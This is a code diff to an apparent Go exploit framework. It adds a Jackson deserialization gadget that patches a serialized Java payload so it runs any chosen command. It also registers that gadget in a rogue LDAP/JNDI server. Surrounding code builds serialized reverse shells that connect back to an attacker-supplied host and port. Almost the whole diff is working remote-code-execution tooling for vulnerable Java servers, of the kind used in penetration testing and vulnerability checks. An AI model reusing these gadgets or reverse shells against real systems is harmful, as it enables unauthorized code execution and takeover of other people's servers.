diff --git a/java/gadgets/Jackson.bin b/java/gadgets/Jackson.bin new file mode 100644 index 0000000..256623b Binary files /dev/null and b/java/gadgets/Jackson.bin differ diff --git a/java/javagadget.go b/java/javagadget.go index 8bb6521..d8518d2 100644 --- a/java/javagadget.go +++ b/java/javagadget.go @@ -431,7 +431,7 @@ func Commons10CommandBytecode(commandStr string) (string, error) { // // Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "" and "". func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { - // 16-bit unsigned integer + // 16-bit (short) unsigned integer (big-endian) if len(baseURL) < 1 || len(baseURL) > 65535 { return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters") } else if len(className) < 1 || len(className) > 65535 { @@ -451,6 +451,30 @@ func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { return gadget, nil } +// https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/f9e097041b08d48289c3dae004996caa28718184/src/main/java/payloads/Jackson.java +func JacksonGenericCommand(cmd string) (string, error) { + // 16-bit (short) unsigned integer (big-endian) + if len(cmd) < 1 || len(cmd) > 65535 { + return "", ErrorInvalidCommandLength("cmd must be between 1 and 65535 characters") + } + + // $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -D Jackson -C "touch /tmp/vulnerable" + gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "Jackson.bin")) + if err != nil { + return "", fmt.Errorf("failed to read gadget: %w", err) + } + + gadget := string(gadgetBytes) + gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd) + const ( + arraySizeWithCommand = "\x00\x00\x06\x54" // 1620 + arraySizeWithoutCommand = 1599 + ) + gadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd))) + + return gadget, nil +} + // This is a serialized java reverse shell. The gadget was generated by ysoserial // but using the code in this pull https://github.com/frohoff/ysoserial/pull/96 // and updated to make it easy to swap in the desired lhost+lport of our choosing diff --git a/java/ldapjndi/ldapjndi.go b/java/ldapjndi/ldapjndi.go index cef59cd..3181d7b 100644 --- a/java/ldapjndi/ldapjndi.go +++ b/java/ldapjndi/ldapjndi.go @@ -22,6 +22,7 @@ import ( message "github.com/lor00x/goldap/message" ldap "github.com/vjeantet/ldapserver" + "github.com/vulncheck-oss/go-exploit/java" "github.com/vulncheck-oss/go-exploit/output" ) @@ -38,6 +39,8 @@ const ( BeanUtils194GenericBash GadgetName = 3 // load class via an HTTP server. HTTPReverseShell GadgetName = 4 + // See implementation in java.JacksonGenericCommand. + JacksonGenericCommand GadgetName = 5 ) // a dirty way to pass the user's desired gadget to `handleBind`. @@ -111,7 +114,7 @@ func CreateLDAPServer(name string) *ldap.Server { return server } -func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, command string) { +func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, command string) { switch gadget { case TomcatNashornReverseShell: GlobalSerializedPayload = createTomcatNashornReverseShell(binary, lhost, lport) @@ -121,6 +124,11 @@ func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, co GlobalSerializedPayload = createGroovyGenericBash(command) case BeanUtils194GenericBash: GlobalSerializedPayload = createBeanUtils194GenericBash(command) + case JacksonGenericCommand: + var err error + if GlobalSerializedPayload, err = java.JacksonGenericCommand(command); err != nil { + output.PrintFrameworkError(err.Error()) + } case HTTPReverseShell: fallthrough default: @@ -140,6 +148,8 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin fallthrough case BeanUtils194GenericBash: fallthrough + case JacksonGenericCommand: + fallthrough default: output.PrintFrameworkError("Invalid payload") @@ -166,7 +176,7 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin // "10.9.49.242" -> lhost // 1270 -> lport // The change in size will then be accounted for in the padding variable. -func createTomcatNashornReverseShell(binary string, lhost string, lport int) string { +func createTomcatNashornReverseShell(binary, lhost string, lport int) string { shellPayload := "\xac\xed" + "\x00\x05\x73\x72\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" + "\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x73\x6f\x75\x72\x63\x65" +